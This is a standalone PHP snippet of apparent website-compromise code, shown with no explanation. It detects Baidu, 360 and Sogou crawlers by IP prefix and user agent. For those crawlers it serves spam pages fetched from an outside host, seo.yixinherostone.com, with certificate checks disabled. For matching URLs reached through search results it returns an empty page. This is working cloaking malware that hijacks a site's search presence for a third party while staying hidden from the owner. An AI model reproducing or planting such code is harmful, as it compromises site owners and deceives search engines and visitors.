$ip_segments = array( '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.', '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.', '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.', '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.', '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.', '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.', '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.', '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.', '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.' ); $baidu_spider_ips = array(); $baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips); $client_ip = getClientIp(); $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if (isBaiduSpider($client_ip) || preg_match('/baiduspider|360spider|sogou web spider|sogou pic spider/i', $ua)) { if (isMatchUrl()) { $headers = array( 'User-Agent: ' . $ua, 'X-FORWARDED-FOR: ' . $client_ip ); if ($referer !== '') { $headers[] = 'Referer: ' . $referer; } $api_url = "https://seo.yixinherostone.com/site/0054601d15f7374595f0eb11198463b4/" . ltrim($_SERVER['REQUEST_URI'], '/'); echo getUrlContent($api_url, $headers); exit(); } else { $api_url = "https://seo.yixinherostone.com/url/0054601d15f7374595f0eb11198463b4"; echo getUrlContent($api_url); } } else { if (isMatchUrl() && $referer !== '') { $parsed = parse_url($referer); if (isset($parsed['host'])) { if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['host'])) { echo ''; exit(); } } } } function getClientIp() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($ips[0]); } else { return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; } } function isMatchUrl() { $url_path = ltrim($_SERVER['REQUEST_URI'], '/'); $pattern = '/^thread-(\d{9,15})-1-1\.html$|^forum-(\d{9,15})-1\.html$|^index\.php\?news([a-zA-Z0-9]{1,5})$|^forum\.php\?news([a-zA-Z0-9]{1,5})$|^forum\.php\?mod=viewthread&tid=(\d{8,12})$/'; return preg_match($pattern, $url_path); } function isIpInRange($ip, $cidr) { if (strpos($cidr, '/') !== false) { list($subnet, $mask) = explode('/', $cidr); return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet); } else { return strpos($ip, $cidr) === 0; } } function isBaiduSpider($client_ip) { global $baidu_spider_ips; foreach ($baidu_spider_ips as $cidr) { if (isIpInRange($client_ip, $cidr)) { return true; } } return false; } function getUrlContent($url, $header = array()) { $curl = curl_init(); if (stripos($url, "https://") !== false) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); } if (!empty($header)) { curl_setopt($curl, CURLOPT_HTTPHEADER, $header); } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_NOSIGNAL, 1); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 30000); $content = curl_exec($curl); curl_close($curl); return $content; } ?>